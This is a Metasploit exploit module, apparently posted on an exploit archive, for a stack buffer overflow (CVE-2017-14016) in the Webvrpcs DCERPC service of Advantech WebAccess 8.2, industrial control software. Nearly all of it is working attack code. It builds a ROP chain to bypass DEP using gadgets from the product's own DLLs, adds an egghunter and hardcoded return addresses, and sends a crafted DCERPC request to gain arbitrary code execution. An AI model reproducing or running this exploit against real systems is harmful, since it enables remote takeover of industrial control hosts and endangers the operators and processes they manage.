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Advantech WebAccess 8.2 Stack Buffer Overflow

Posted on 13 December 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Egghunter

def initialize(info = {})
super(update_info(info,
'Name' => 'Advantech WebAccess Webvrpcs Service Opcode 80061 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Advantech WebAccess 8.2.
By sending a specially crafted DCERPC request, an attacker could overflow
the buffer and execute arbitrary code.
},
'Author' => [ 'mr_me <mr_me[at]offensive-security[dot]com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'ZDI', '17-938' ],
[ 'CVE', '2017-14016' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-306-02' ]
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2048,
'BadChars' => "x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 7 x86 - Advantech WebAccess 8.2-2017.03.31',
{
'Ret' => 0x07036cdc, # pop ebx; add esp, 994; retn 0x14
'Slide' => 0x07048f5b, # retn
'Jmp' => 0x0706067e # pop ecx; pop ecx; ret 0x04
}
],
],
'DisclosureDate' => 'Nov 02 2017',
'DefaultTarget' => 0))
register_options([ Opt::RPORT(4592)])
end

def create_rop_chain()

# this target opts into dep
rop_gadgets =
[
0x020214c6, # POP EAX # RETN [BwKrlAPI.dll]
0x0203a134, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll]
0x02032fb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwKrlAPI.dll]
0x070738ee, # XCHG EAX,ESI # RETN [BwPAlarm.dll]
0x0201a646, # POP EBP # RETN [BwKrlAPI.dll]
0x07024822, # & push esp # ret [BwPAlarm.dll]
0x070442dd, # POP EAX # RETN [BwPAlarm.dll]
0xffffffff, # Value to negate, will become 0x00000001
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
0x0704de61, # PUSH EAX # ADD ESP,0C # POP EBX # RETN [BwPAlarm.dll]
rand_text_alpha(4).unpack('V'),
rand_text_alpha(4).unpack('V'),
rand_text_alpha(4).unpack('V'),
0x02030af7, # POP EAX # RETN [BwKrlAPI.dll]
0xfbdbcbd5, # put delta into eax (-> put 0x00001000 into edx)
0x02029003, # ADD EAX,424442B # RETN [BwKrlAPI.dll]
0x0201234a, # XCHG EAX,EDX # RETN [BwKrlAPI.dll]
0x07078df5, # POP EAX # RETN [BwPAlarm.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x070467d2, # NEG EAX # RETN [BwPAlarm.dll]
0x07011e60, # PUSH EAX # ADD AL,5B # POP ECX # RETN 0x08 [BwPAlarm.dll]
0x0706fe66, # POP EDI # RETN [BwPAlarm.dll]
rand_text_alpha(4).unpack('V'),
rand_text_alpha(4).unpack('V'),
0x0703d825, # RETN (ROP NOP) [BwPAlarm.dll]
0x0202ca65, # POP EAX # RETN [BwKrlAPI.dll]
0x90909090, # nop
0x07048f5a, # PUSHAD # RETN [BwPAlarm.dll]
].flatten.pack("V*")
return rop_gadgets
end

def exploit
connect
handle = dcerpc_handle('5d2b62aa-ee0a-4a95-91ae-b064fdb471fc', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")

# send the request to get the handle
resp = dcerpc.call(0x4, [0x02000000].pack('V'))
handle = resp.last(4).unpack('V').first
print_good("Got a handle: 0x%08x" % handle)
egg_options = { :eggtag => "0day" }
egghunter, egg = generate_egghunter(payload.encoded, payload_badchars, egg_options)

# apparently this is called a ret chain
overflow = [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Jmp']].pack('V')
overflow << [target['Ret']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << [target['Slide']].pack('V')
overflow << create_rop_chain()
overflow << egghunter
overflow << egg
overflow << rand_text_alpha(0x1000-overflow.length)

# sorry but I dont like msf's ndr class.
sploit = [handle].pack('V')
sploit << [0x000138bd].pack('V') # opcode we are attacking
sploit << [0x00001000].pack('V') # size to copy
sploit << [0x00001000].pack('V') # size of string
sploit << overflow
print_status("Trying target #{target.name}...")
begin
dcerpc_call(0x1, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
ensure
disconnect
end
handler
end
end

 

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